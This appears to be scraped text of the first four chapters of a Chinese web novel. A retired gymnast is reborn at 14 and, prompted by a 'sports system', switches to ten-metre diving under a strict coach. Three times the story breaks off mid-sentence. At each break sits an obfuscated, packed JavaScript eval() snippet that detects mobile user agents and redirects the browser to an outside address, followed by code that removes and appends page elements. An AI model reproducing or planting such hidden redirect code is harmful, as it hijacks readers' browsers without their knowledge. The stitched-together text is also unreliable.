《跳水，还是想要当冠军》 1. 退役 此刻。 看台上的欢呼，此涨彼伏。何远呈发挥的很完美，几乎没有瑕疵，给观众们贡献了一场酣畅淋漓的自由操比赛。 姜广在台下不停地调整呼吸，但手心依旧无法控制地蒙上了一层薄汗。 他再一次偷偷地长呼了一口气，看到对方最终14.733的高分时，心率似乎又猛地往上升了些。 这次的动作对他个人来说不算难，只要平稳发挥他就有机会。 举手示意后，比赛正式开始。 “观众朋友们，大家好，这里是2023全国体操联赛暨巴黎奥运选拔赛的比赛现场，目前上场的是本次自由体操的种子卫冕选手姜广。” “小广今年29岁了，年纪稍微在国家队而言大了一些，但这个赛季阶段表现的还是很亮眼的，来看看他今天这套自由操。” “首先是第一串动作，直体前空翻转体360接屈体前空翻两周，看得出来小广的能力很强啊，翻腾的高度很高，唯一的瑕疵就是冲过头了，没控制住，一只脚出界，得扣0.1分。” 姜广在出界的那一刻都在用力控制，他实在是太想赢了，深呼吸一口气紧接着做第二串技巧动作。 前手翻屈体前空翻两周转体180度，完成的还不错，落地跳了一小步，还能接受。 紧接着是后直转体900接前直转体720，依旧是冲的太向前，动作衔接的不错，就是冲出界外了。 “好的，让我们看看下一个技巧串，后直540接前直540，好的，这一串发挥的很完美啊，稳稳站住。” “过渡动作选择的是直720，接着就是一个非技巧动作，费多尔琴科（俄式挺身1080）接纵叉没什么问题，来看他的最后一串动作。” “直体后空翻转体1080结束，落地动作下蹲的很深啊，好在还是控制住了，整体来看还不错，但是肯定没有他黄金时期发挥的要好啊，稍稍显得有一些可惜。” 姜广做完成套动作后，心情些微有点失落，这次的发挥确实不是他最好的水平。两次出界，实在是不该出现的问题。 走□□操台时，他略微向上抬抬眸眼，偷偷地看了看教练的表情，不是很满意。 他闷闷低下头，没敢说一句话。 “怎么回事啊？出界两次实在是不应该啊。”教练沉着脸问他。 他摇摇脑袋，“我也不知道，就是落地的时候重心有点不稳，控制不住。” “姜广你看看你的年纪啊，不小啦，这次也上不了奥运那你就根本没机会了啊，你说说这么重要的机会，你为什么就不努努力抓住啊？” 他闷声点头，“我知道的，对不起。” 此时，镜头扫过他的脸，他抬头颇为勉强地挤出一个笑容。 分数出来了，难度分6.1完成分7.933，出界扣除0.4，最终得分13.633。 和他上次比世锦赛的自由操得分整整少了一分有多，教练看到分数后拉着他去场地外训斥了一顿。 姜广在之前的比赛里即便是出现失利，但也会快速调整好心态，比一项忘一项，绝对不带着情绪到下一项的比赛里。 但今天他不知道怎么了。 大脑像是蒙上了一层厚厚的积云，他的情绪没办法宣泄。像是早早地为他下了判决，告诉他今天发挥只会越来越差。 事实如此，他没法从失败的阴霾走出去，对于运动员而言，带着包袱上场，就像是背了一个定时炸弹。 何况今天他的有力竞争对手何远呈，发挥的相当好，每一套动作都顺畅的完成了。 对于姜广而言，就是又多背一个定时炸弹上场。 最后结果非常不尽如意，单杠想的太多，掉杠了，跳马上了难度却完成的很勉强，落地效果很差。即便对于他自己来说，这几套动作平常训练中，做十次都不会出现一次的失误。 毕竟他在这个周期里，是以绝对平稳均衡的发挥，才逐渐一点一点出现在大众视野里的黑马选手啊。 而今天对他来说，却仿佛是被全面击溃的至暗时刻。 解说员对他的表现表示出了深深的惋惜，但他也不清楚姜广到底是遇上了什么困难，突然就完成的如此艰难。 姜广比赛结束后，教练拿着包就走了，都没等着全场结束。 此时，镜头扫过他望着教练稍显无助的画面。他回过头，朝着镜头稍稍揉了揉泛红的眼睛，咧开唇角笑了笑，但是个人都看得出来，他笑的有多艰难。 镜头离开后他独自去了赛场的角落，此时场馆的欢呼声此起彼伏，他小声的哭。 这是他最后一次能够上奥运的机会了。 如果顺利完赛，发挥出正常水准，大概率能进大名单，但因为他年纪本身偏大，如果明年状态不佳依旧有可能被换下去。 但现在的情况是，他连进名单的一点机会都没有了。 哭了一会儿，他刚准备起身，身边有人蹲下了。给他递了一张纸，纸上还稀稀拉拉的沾了一点镁粉。 “师哥。”何远呈声音很轻。 他抬起脑袋，接过纸巾，声音哽咽，“谢谢。” “没事的，这场你就是包袱没放下。我知道你绝对不是这样的水平，我们下一场一起赢回来。” 姜广闷闷点头，又勉强扯出一个笑容，“你今天很棒，上奥运也要加油！我等你的奥运金牌！” “还早呢，这只是一场比赛，后面还有很多场训练赛，明年的事儿谁说的清楚，何况是我们练体操的，伤病总是会很意外的出现。” 姜广摇摇脑袋，“我相信你。” “哥，国家队里你对我最好，我都记着呢，我们都不要放弃啊。” 他点点头。 比赛结束后，紧接着就是颁奖仪式。 姜广远远的站在场馆的最角落，看着备受关注的此次比赛的全能冠军。 练体操差不多有20年，他并不是那种天赋异禀的苗子，但又不是一点长进都没有。他每次快要放弃时，都觉得不甘心，又咬咬牙坚持过来了。 这两年对于所有人来说，都说是他横空出世的两年，每次比赛都完成的很不错。他也觉得要坚定的继续走下去。 但今天比赛之后。 他觉得自己和顶尖的运动员之间的距离差的很远，无论是实力还是心态上，他都不够稳定。 他有些累了。 熟悉他的人总说他是大器晚成的例子，但没人想在该出成绩的时候落寞，一切都退化的时候被称之为大器晚成。 这一刻，他决定退役了。 去年拿下的世锦赛铜牌，就当是他这场漫长的体操生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190953|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涯里的落幕节点。 提出这个想法时，教练几乎没有规劝，还假模假式的对他说，他这个年纪，也是时候该把心思放在家庭里了，毕竟体能和感觉都在慢慢弱化。 他也没反驳。 最终的退役宴上，姜广没请几个人，就叫了几个从小一块练体操的好朋友，他们也早就退役了。 大家都对他表示惋惜，但也没多说。 话都在酒里。 觥筹交错中，姜广的视线逐渐模糊。最后的一刻，他缓缓倒下，嘴里喃喃自语。 “我还是不甘心啊。” …… “你小点声啊，阿广昨天练空翻摔的鼻青脸肿的，累的都快虚脱了，别吵到他休息了。” “知道了，我会轻点的，练体操太苦了，要不让阿广回来吧。” “孩子喜欢，他都能吃这个苦，我们凭什么不让他学啊。” …… 姜广听到了细微的交谈声，强烈的困意，让他睁不开眼。于是他往身旁翻了个身，碰到了膝盖，剧烈的疼痛，顷刻间驱散了所有的困意。 他下意识猛地起身的，动作幅度太大，又扯了扯他的膝盖。 这时才低头看见了，浑身的伤口，膝盖被摔肿了，看的都疼。 这时候张雅君听见房间的动静轻轻地推开了门，看见姜广坐起身了，声音温柔地叫他，“阿广，你醒啦，今天感觉怎么样？” 他偏头看。 一张熟悉又陌生的脸。 “妈。”他叫道。 张雅君走进房间，坐到床边，“怎么了啊？” 姜广给了一个大大的拥抱，眼泪几乎是不自觉地往下掉。 28岁那年，他被称之为大器晚成，体育生涯的高光时刻，第一次站上世锦赛的领奖台，却没想到父母在一场车祸里丧生，从此他便只能孑然一身。 直到他相当用力地拥抱了张雅君许久，才缓过神来。眼睛撇向房间门边的日历，上面的年份赫然写的是2008。 他回到了14岁这年。 “练体操太苦了是吧，但是阿广这是你自己选的路，妈妈帮不了你，今天撒个娇，明天还得继续加油。” “我知道的。”他闷声说，“我只是很想你们。” “想我们就给我们打电话，我们就和你教练说，接你回来住几天。” “嗯。” “好了，赶紧起来洗漱，吃早饭了。” 腿微微还有点疼，但这种程度的疼痛在他的整个体育生涯里，根本算不上什么，眨眨眼睛就忍过去了。 走到卫生间门口的路程很短，但他走的慢，时不时打量着周围的一切。 回忆涌上心头。 他沉溺在这个看上去幸福的不真实的氛围里，哪怕现在只是一场梦，他也知足了。 在梳洗台前照了照镜子，14岁的年纪，他处于发育期，唇角微微冒出了一点儿硬硬的胡茬。 刚把牙刷放嘴里。 脑海里叮咚一声，淡淡的男声响起，“欢迎绑定荣光运动系统。” 猝不及防的声音，吓了他一跳。一个身子没站稳，身子往后倒，推开了卫生间的门，一屁股扎在了洗手间里。手在凌乱的过程里，又不小心碰到了淋浴开关。 摔的屁股开花不说，还淋成了落汤鸡。 2. 来跳水队吧 听到声响后，张雅君夫妻俩急急忙忙的跑了过来，看见狼狈的姜广，一时间哭笑不得。 “你下盘怎么这么不稳咯，刷个牙还顺带洗个澡哟。”姜肃笑着连忙把人拉起来，身边的张雅君立马递上一条干燥的毛巾。 姜广不好意思地撇唇笑了笑，“刚刚走神了，拖鞋有点滑。” “注意点嘞，你练体操本身就容易受伤，好不容易回家休息一下，又差点搞出问题来。” 小插曲过后，张雅君又去忙着准备早餐，姜肃也快速对付着吃两口就准备上班去。而对于姜广而言，面对的仍然是那个莫名其妙突然出现的奇怪系统。 “你到底是个什么东西？”他疑惑地问。 系统顿了顿，“我不是东西。” “那你是？” “我是高科技的产物，不然你哪能回来啊。” “这样，那你帮我是想怎么样？” 系统轻蔑地笑了笑，但笑里似乎格外笃定，“和你听到的一样，我是个运动系统，我帮助你的代价就是你要拿到奥运冠军。” “我能拿到吗？”他微微有些怀疑。 “可以。”系统话音刚落，姜广眼前就浮现出一行硕大无比，金光闪闪的艺术字。 “终极目标——勇夺跳水奥运冠军吧！” 姜广看见奥运金牌几个字时，浑身似乎都在发烫，他即便放弃踏上赛场，也没有放弃过对奥运金牌的渴望。 作为一名运动员，努力的最后为的也就是那瞬间的荣誉。 姜广激情满满应下后，脑子里都在想这一辈子自己的训练计划了。想了挺长一段，但扭头又仔细看了一眼眼前即将消失的大字。 跳水？冠军？ 姜广立马从思绪里抽出，他，一个在上辈子学了二十来年体操的体操“老炮儿”，结果最后要让他去学跳水？ 还得拿冠军？ 这不是闹着玩嘛，就不说他自己擅长的体操，自己都拿不到牌牌。这年纪也不算小了，突然转账去体操，学都不一定学的会，怎么可能拿冠军啊。 这狗屁系统果然就是个不靠谱的主。 “可是我连游泳都不会啊，别说跳水了。”姜广弱弱地说。 系统依旧淡漠，“你是我最后一个目标对象了，我前面99个都没出过错，我的眼睛就是尺，你很适合跳水。” “不会游泳就去学，没人生来就会吃饭，你不也吃了十几年。” 姜广：“……” 什么狗屁系统，冷冰冰像个机器人，哦不应该就不是人。 “给您推送第一位跳水教练，请把握住机会。” 姜广眼前看到了相当详细的个人介绍，余庆丰，男，35岁，舟阳市跳水协会会员，风格相当严厉，但近些年都没有有天赋的苗子目前也同样在全国寻找人才…… 甚至连余教练目前手下的学生都细无巨细的罗列清楚了。 “他看起来挺要求天赋的，但这东西都看命，我们家又都不擅长水上运动，怕是挺难达到他的要求吧。” 系统反问一句：“你现在都还在怀疑我的眼光？” 姜广被这个气势汹汹的系统吓得没脾气，连连摆手，“我可没说，你说得对，我就是个跳水天才！” 余庆丰曾经也是一名跳水运动员，也拿过世锦赛的单人十米台冠军。 但从他退役后，男子十米台却莫名其妙的落寞了。没有有天赋的运动员冒出来，相较于跳板来说，国内的十米台就是青黄不接的状态。 跳的还行的运动员，难度迟迟上不去没办法与一流的强队竞争。难度大的运动员，成功率却相当的低，动作的质量和稳定性都不够好。 很长一段时间里，十米台都处于一个一蹶不振的状态。余庆丰这才又重新投身跳水，全国范围内去找有天赋有潜力的运动员。 系统安静后，姜广才去了餐桌上拿了片吐司面包，猛灌一口牛奶之后，大口大口嚼面包。 他有一搭没一搭的聊天，无意又说到跳水，结果张雅君突然冒出了个表弟来，说是小时候就被选进跳水队，但练伤了最后就没练了。 “那他跳的好吗？”姜广问。 张雅君点点头，“那可好了，当时去参加青年组的比赛，拿好几个世界冠军呢。” “我们家还有这种天才，我还不知道呢。” “你不知道的事儿多了去了。”张雅君说完，又剥了个鸡蛋给姜广。 今天其实就是休息在家，没什么事干，又本身是暑假期间，学业的压力也不大，张雅君接他回家，也就是让他在家里看看电视看看书歇一歇的。 但姜广想着这跳水就没法沉下心玩，满脑子都在想着说怎么才能让他这个大龄青年把跳水顺下来，还能上难度。 确实就是个难题。 但听到说家里之前还有个世界冠军，那给自己一点安慰，就也算是沾了那么一点的跳水基因的。 “今天余教练会去你们体操中心，你要不要过去。”系统冷不丁突然冒了一句。 姜广愣了愣。 这好不容易的假期啊！都这么问了，他还能不去吗？毕竟他上辈子可没遇见过这个教练，估计也就只有这一次机会。 “你下次直接让我去就行了，你难道给了我拒绝的余地吗？” 系统笑了笑，“你有这个觉悟就好。” 紧接着就背上包，和张雅君说了一声，就下楼招呼了辆出租车回体操中心。 “那我过去要怎么引起余教练注意啊，毕竟我也不知道跳水要什么样的人才啊。”姜广依旧有些忐忑，虽然有了个系统加持，但还是没觉得自己能是那个天赋异禀的跳水选手。 系统冷冰冰，“做个人就行。” 姜广第二次感到无语。 回到体操中心时，果然看见场馆里他们的总教练领着余庆丰介绍突出的几个体操好手。姜广回去就简单的和他的主管教练招了招手，也没好意思往总教练面前凑。 姜广在体操队的地位就是个小透明，就是那个班上看起来最勤奋最努力但却又没有出与之匹配成绩的中等生一个样。 之前膝盖上还有伤，但为了在余教练面前刷刷存在感，还是换了衣服，热身结束之后在场馆的角落开始基础的翻腾训练。 “最近练的挺不错的，再努把力肯定能上全运会，拿个前十就有机会保送大学了，所以还要加油啊。”教练拍了拍他的肩膀。 “嗯，我还会努力的。” 他的弹跳力其实一直都不错，而且在空中的工作显得很轻盈，给人的感觉就是轻飘飘的没什么难度就转过去了，但他的弱点同样突出，就是差在落地上。 很难稳住，所以动作整体看起来就不完美。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190954|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果，就是他这蹦蹦跳跳了几下，无意中引起了余庆丰的注意。 “那个孩子练多久了？”余庆丰问身边的总教练。 总教练摇了摇头，“好几年了，七八岁就送过来学了，刚开始都挺好，但现在就差在落地上，不管是自由操还是单杠跳马，全部都站不太稳，也是有点可惜。” “你看他蹦挺高啊，转体和翻腾看起来也挺轻巧的，身体协调性也不错，很适合练跳水啊。”余庆丰笑着说。 “他都十四五岁了，可不是还是小朋友了，这时候去跳水肯定晚了吧。”总教练也笑了笑。 对总教练来说，姜广虽然说不上天赋多高的孩子，但把下法练好，每次动作的稳定性那肯定是提升一大截的，而且姜广也勤奋，练好了最不济进个国家队肯定没什么问题。所以他肯定也不想白白少一个能进国家队的苗子。 余庆丰眯着眼睛笑了笑，都是身经百战的人了，对方话里什么意思他清楚的很。但他现在面对跳水目前的窘况，没办法不挖墙角。 “那对我来说年纪都不是什么问题，12年奥运去不了，多练练带他去16年奥运也不是什么问题，何况我看下来他这天赋不去跳水那肯定是浪费了啊。” 总教练听见这么说，他也没法板着脸拒绝，只好把问题抛给当事人，“余教练你都这么说了，但是我说了可不算啊，你得问问姜广他自己愿不愿意放弃体操啊，毕竟他可是勤奋苦练了那么久，连一次全国比赛还没来得及上呢。” 说完就紧接着把姜广招呼过来，“小广，这是跳水馆的余教练，前世界冠军，他有话想问问你呢。” “教练，您说。”姜广点点头。 余庆丰摸了摸他的脑袋，“可以说一说练体操这么久，你的目标是什么吗？” 他低低头，从前的目标又浮现，“上奥运会发挥自己的全部实力。” “挺不错的孩子，那如果有机会能让你上奥运，你愿意试试吗？” “真的吗？”姜广虽然被系统提醒过，但依旧对自己能被跳水教练看上而感到怀疑。 余庆丰点点头，“不骗你，来跳水一定可以。” “可是我不会游泳，怎么跳水。” 听见这话余庆丰笑的很开心，“游泳比你下法好练多了，带你游几圈就会了。” “那我是真的可以吗？” 余庆丰哭笑不得，“没关系，我们试试，不行你就回来继续练体操怎么样？” 姜广偏头看了一眼总教练的表情，几乎看不出任何情绪，但他也确实没得选，谁让他摊上这么个系统。 “谢谢教练的赏识，我清楚我目前也确实在体操上遇到了麻烦，如果说我确实适合另一个项目，我也愿意试一试，也希望自己可以不辜负您的期待。” “一定不会的。”余教练颇为慈祥地又摸了摸他的脑袋。 总教练这会儿有点不高兴，撇了撇唇。但余庆丰看见了也当没看见，还很大声的在场馆里笑了两声，揽了揽旁边人的肩，“今晚我请你喝酒啊。” 总教练面如猪肝色，勉强吐出两个字，“好…啊…” 姜广看着开朗的余教练，随口就向他那高冷的系统嘲讽一句，“你资料里说教练很凶吗？这看上去哪哪都像个阳光开朗老男孩吧。” 系统没说话，却意味深长地冷笑了一声。 3. 怕高怕水 听说儿子去了舟阳市跳水队的消息时，姜肃夫妻俩都觉得不可思议。据他们所知，他们儿子怕水、怕高，之前觉得一辈子都不太会和水打交道的。 结果就这么“水灵灵”的跑去练十米跳台了。姜肃他们着实有些不理解，但又觉得既然他们儿子愿意克服恐惧，去锻炼锻炼也没什么坏处。 毕竟，最开始送去学体育也不是想让姜广能有多漂亮的成绩，而是姜广自己愿意学而已。 舟阳市跳水一直都挺强，为国家队输送了不少跳水冠军，除了女子跳台还抱有不错的实力之外，其他项目这两年是有些落寞了。相较之下，隔壁几个市的成绩却亮眼不少，但大多还是跳板的苗子，男子跳台依旧是平平无奇的状态。 余庆丰自然不可能咽下这口气，他自己都能当上世界冠军，他手底下的人就不应该练不出头。 去跳水队报道的第一天，姜广就被拦在了大门口，原因是门口的大爷说没见过他，不让进。 姜广嘴皮都说破了，大爷还是一脸狐疑的样子。 实在没办法就只能跑门口的公共电话亭，花了一块钱打电话，但他没背下余教练的，只能打回给张雅君，让他妈找教练说。 十来分钟后，余教练姗姗来迟，见到人就往怀里揽，“小广，不好意思啊，我忘了今天让你过来了，还记得是明天呢。” 看门大爷看见余教练也变了脸，“余教练，这是谁啊，我又不认识，所以就没让他进咯。” “没事，不怪你，他是我刚招进来练跳水的好苗子，说不定以后能拿个世界冠军呢。” 看门大爷乐乐呵呵的，“那肯定，余教练手底下不都是好苗子嘛。” 舟阳的跳水馆相对而言条件一般，是用以前一个废弃游泳馆翻新改建的，原来说这两年如果成绩亮眼就换新的，但除了女子跳台外其他项目都迟迟没有动静，也就一直维持原样了。 但跳水新手不会直接进跳水馆，而是先在旁边的场馆进行陆上训练，在基本功都打扎实了，才会上台或者上板去感受跳水。 对于姜广来说，实际上他年纪已经和队里比较成熟的男子选手差不多了，而他还是一张白纸，要学的东西也多。队里有挺多分管教练，但姜广没被分出去，而是余庆丰亲自带。 余庆丰承认自己有私心，他选人看条件，也看能力，但他会多看一项，很多时候他觉得性格决定了能力的上限。 如果是一个天赋极高，能力也很强的苗子，但训练上总是很着急，毛毛躁躁的。余教练就会有顾虑，因为太着急的人，就算在大赛上不输难度不输动作，也会输心态。 跳水就是一项相对精密的运动，要求运动员得在起跳，翻腾，打开，入水每一个环节都做到尽可能的精确。 如果最后哪怕是入水稍稍偏差了一点，也有可能就导致动作看上去不够干净漂亮，自然裁判打分就会扣相当多的“印象分”。 余教练看见姜广默默练动作的时候，第一反应是觉得能力不错，但第二还是觉得他人够刻苦，毕竟膝盖的红肿没退，依旧还在训练。而且，在体操已经练的相当不错，就差一点能出成绩的阶段，能够完全放下转跳水，也是一个相当需要勇气的决定。 余教练相信自己不会看错人。 “先来做热身，你之前练体操的应该都懂，运动嘛，身子都没舒展开的话，那肯定动不动就受伤了。”余教练对姜广说。 姜广点点头，在一旁默默做热身。 场馆里有个和他年纪差不多大的男生，这会儿正绑着绑带练转体动作。 “余老师，那个男生是不是练了很久了，我感觉他做动作都很顺畅，转体转的很快。” 余庆丰点点头，“练四五年了，现在动作都能顺下来，但入水和姿态都还不够好，成功率不够高，还得练。一套六个动作，都得打磨好了才能有机会上领奖台呢。” “我觉得他挺厉害的，肯定能出头。”姜广轻声嘟囔一声。 热身结束以后，余庆丰拍了拍手，把姜广招呼过去，“今天我们不学动作，你有体操底子，虽然两项运动有相似的地方，但是你现在需要暂时把体操的动作给我忘了，不然你到时候脑子里不够专注，跳水冒个体操动作，你肯定就完啦。” 姜广点点头。 “先来把身子练练，过来把脚背压一压，我知道体操也有姿态要求，但可能没跳水要求高，别人裁判从你上跳台就盯着了，你空中姿态好不好，那是相当明显的。” 余庆丰领着他到一面墙边上，让姜广屈膝，膝盖顶在墙面，角度控制在45度左右，屁股放在脚后跟上。双手这会儿还被允许撑会儿地，但脚背得顶起来，线条得绷住了。 “先撑五分钟适应一下，待会儿把手从地上拿起来，放膝盖上哈，我给你计时。” 刚坚持两分钟，姜广脚跟就被轻轻踹了一脚，“脚后跟贴住了，不能分腿知道吗，你腿分开那不是一下就被看到了。” 五分钟后手放在膝盖上，力气完全压在了脚背上，姜广的坏毛病就是脚后跟总是分开成八字。余庆丰没办法，最后从边上找了根绳子，一言不合给他脚后跟给绑住了。 姜广这会儿也老实了，身体绷得直直的，深怕哪儿再出问题，就又得被绑起来。 又过了五分钟才让姜广起来了，他没敢说话，这会儿算是明白了为什么他那高冷的系统说余教练是个凶巴巴的教练了。 “休息一会儿，待会儿还得压压膝盖，不然做动作一翻就屈膝，哪怕你最后入水效果完美的很，裁判都得给你降档，8分的水准给你打7-7.5都有可能。” 姜广只敢点头，也不好说什么，这会儿身边的那个男生被骂的更惨。 他注意力不由地被吸引过去几分。 男生叫赵渐鸿，这会儿被骂就是因为身子总是松，这还只是在陆上的蹦床上练，搁到跳台上，那肯定是失败的。 赵渐鸿低着脑袋不说话，脚背上缠了几圈肌贴，之前跳台上没控制住，失败好几次给脚踝扭了。 “他挺好的啊，这还要被骂啊。”姜广偏着脑袋自言自语。 被余庆丰听见了就笑着把他脑袋扭过来，“你别在这说，以后你练不好，我也骂。你练这么久体操，你也知道竞技体育碰的都是硬实力，你不行就是会被换下去。练不好被骂正常的很，主要是你被骂了要总结要反思，下次就不要在同一个问题上被骂了。” “如果说你被骂了两句都承受不住，心理这关过不去，那你比赛怎么办，如果出现了失误，你难道一直在失败的阴影里吗，那你最后肯定是一直失误的，所以你要养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190955|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成一颗大心脏，才有可能成长为一流的运动员。” 姜广点点头，他也知道是这么个道理，但还是没忍住嘀咕两声，“但是都比赛了，如果还被骂，那压力会更大吧。” “比赛时作为教练的角度，那肯定是要安抚运动员心态的。但是，你也别把教练想的太好，比赛完之后出现的问题该骂还是得骂的。” 确实是这么个道理，姜广也认可。要这么说来，上辈子他其实就是输在了心态上。他太渴望得到教练的认可，反而还没办法把实力展示出来。 所以，有时候太想得到并不见得会是好事。 “来吧，接着练一练腿，这里有两个小台子，坐这上面。脚后跟放在这个垫子上，伸直了，绷住哈。” 姜广眼睛里微微亮了些，想着就这么简单吗。但转眼就笑不出来了，余庆丰等他坐好了，缓缓的在他膝盖上坐下了。 “膝盖现在还痛吗？”余庆丰问他。 姜广摇摇头，“好了很多了。” “那我就松劲儿了。” “好的，教练。” 五分钟的时间显得格外漫长，姜广咬着牙坚持，他也懂一些。毕竟之前看跳水比赛，特别是屈体的动作，国外运动员稍微屈膝一点点，就在镜头里显得很明显。 这会儿就是在打基础，难也得咬牙扣住了。 “好了，你别着急起来，缓一缓再起来。” 姜广练的额头上都是汗，余庆丰给他丢了条毛巾，“擦擦汗，休息一分钟，重复再做几组。” 膝盖压了几次后，姜广感觉全身都是软的，但余庆丰倒是没想放过他。没休息几分钟，就把人拎着到了墙角边上。 “脚尖绷住，身子站直贴住墙，手臂贴在耳朵边上，好好感受一下身子直起来是什么感觉。” “你之后入水，就是这么个状态。你现在基础不打牢，那以后就是别人嘴里的炸鱼。” “腿又松劲儿了，绷住，把你的肌肉线条给我展现出来。大腿没劲儿，你到时候怎么起跳啊。” 一上午的训练结束，虽然都是基础的不能在基础的训练，但姜广感觉自己除了灵魂，身体似乎都没有属于自己的地方了。 去食堂吃饭的时候，余庆丰有事没法陪他，而是给了他自己的饭卡。 这时候赵渐鸿也刚训练完，就刚好领着他一块去食堂吃饭。 “你怎么这时候来练跳水。”赵渐鸿打量着眼前的人。 姜广摇摇脑袋，“就可能是机缘巧合，我原来练体操的，然后被余教练带过来了。我看你应该学了很久了吧，什么时候去比赛啊。” “还早呢，青年组有去比过，但是成绩不太好，何教练就让我把动作练好了再去，说下次就去成人组比赛了。” “很厉害。” “没有，一套动作起码得学五六年了，那时候也确实成年了。” “这么久啊，那我还不知道什么时候能学一个动作呢。” 赵渐鸿把手搭在姜广肩上，“没事儿，到时候我们俩一块练呗，但是你跟着余教练的话，估计会被骂的很惨。” “啊，比你教练骂的还惨吗？” 赵渐鸿点点头，偏头后显露出一个充满同情的眸子，“不瞒你说，我的教练是我们馆里最温柔的那一个。” 4. 仓鼠宝宝 食堂的饭菜很丰盛，毕竟这儿的小姑娘，小伙子都消耗量大，吃不好那训练可就更加没劲儿。 每人份的搭配都大概是粗粮，蔬菜，优质蛋白质和水果，主要原因就是要搭配均衡，得有足够的维生素和能量。 姜广扒饭的样子很可爱，脸颊两侧鼓鼓的，和仓鼠宝宝一个模样。被赵渐鸿偷偷摸摸拿着他那个小灵通拍了好几张照片。这时候电话还算是新奇玩意儿，他们这个年纪还配不上拥有一台手机。 “哟呵，你小子不会是个富二代吧。”姜广笑着打趣两声。 赵渐鸿摆摆手，脸上的笑止不住，“不足挂齿，不足挂齿，我爸暴发户我跟着我爸沾光。” 其实，就是他爸换下来的旧手机，他偷偷摸摸给带出来了而已。 “我看看你拍的我啥样儿。”姜广边嚼边想去拿对方的手机。 做了亏心事的赵渐鸿还是有点心虚，“可帅了，你这脸还担心能拍丑了嘛。” 姜广看破心思也没说，轻挑唇角笑了笑低头往嘴里塞了个大虾，话说的含糊不清，“你拍了可别给我发出去啊，不然丑照泄露以后我天天逮着你拍。” 对方把手机收了起来，挑了挑眉，“一定。” 午饭过后，简单休整后，就得准备下午的训练。像赵渐鸿他们这种待了挺久的，就会有详细的训练计划。但姜广这种刚来的，就还没来得及按他的情况做完一整套训练计划。 这会儿的训练日程都全听余教练的现场的要求。 下午姜广被带到了跳台场地，没有空调，整个场馆里热烘烘的。这会儿在这训练的人还不多，场馆也不小，显得就相当安静。 当然姜广并不是被带过来直接上跳台的，而是被领到了跳台对面的池边。 余庆丰偏头撇了他两眼，看他站的笔直，一动不动，就觉得好笑。 “现在没让你练姿态了。” 姜广立马泄下劲来，“好的。” “怎么还站着不动？赶紧换衣服去。”余庆丰看着他说。 他有点懵，“动？换什么衣服？” “在池子边上，你说动什么？你就穿这身下去游？”余庆丰哭笑不得。 这是他才意识到下午是来学游泳的，之前还觉得奇怪，他穿的整整齐齐，跑跳台馆里来干什么，还以为是要来观摩别人跳水呢。 姜广本来就是常年练体操的体育生，一身腱子肉，平时也不怎么出门，身子也白，要是被他同班同学看见了，肯定得叫唤着打趣几声。 余庆丰这会儿也换好了泳裤，等人出来的间隙，已经在池子边上做了几个八拍的热身动作了。 姜广场地不熟，横冲直撞的，走错了好几次路，来来回回跑，最后回到原地时，脸红扑扑还喘粗气。 “这么慢。”余庆丰刚做完下蹲的两个八拍起身就看见了他人。 他立马道歉，“不好意思教练，我走错门了。” “好了好了，快点热身。这游泳你不把身子热身做好了，那很容易就游抽筋了。” 刚做了几个八拍，就听见了身边响起了一个女孩的声音，很轻快，光听都能感受到对方的笑容。 “余导，怎么突然来了个你亲自带的小孩儿啊。” 说话的人叫刘黎，前两届奥运的女子十米台冠军以及世锦赛、世界杯的冠军大满贯得主。从国家队退役之后，觉得在国家队当助教压力大了些就回了舟阳。现在也是在带几个女子十米台的女孩儿。 “小刘来啦，我这不也是闲着，大家都忙得很，就不给他们加工作量了，我就带着他呗。” 刘黎弯着眉毛笑，“这哪来的小孩儿啊，看着也不小，从别人队里挖的啊，怎么样现在能跳几周半。” “跳水小白呢。”余庆丰也跟着笑，“是我从体操队里挖过来的，我说要人的时候，你可不知道老张那脸拧巴的。” “哟呵，那不是得天赋异禀，不然也进不了你的眼啊。” “还成，但男台毕竟没人嘛，可不像你们女台人员储备可够厚实的。” 刘黎笑笑，“哪有，余导你都能亲自上手带队了，还怕出不了成绩啊，而且这小孩儿看着就适合跳水，身长但看起来却很轻巧，翻起来速度应该快，做动作就轻松。” “借我们刘冠军吉言咯。” “余导，你们加油，我带我这几个孩子上台上练练。” 姜广在边上听他们谈话期间能感受的出来，余庆丰那淡淡的失落。虽然面上的谈话都还嘻嘻哈哈的，但眼神里始终有股子难过。 “好了，我们今天就先下水把游泳学会了，游泳不难，主要看你水感怎么样。” 跳水主要会学习蛙泳，蛙泳的难度主要是在于蹬腿，对于在水里感觉不太好的往往蹬不动。 腿相当卖力的划拉，结果在原地就没划出去几米。不知道的人还以为是溺水了，在原地蹦跶呢。 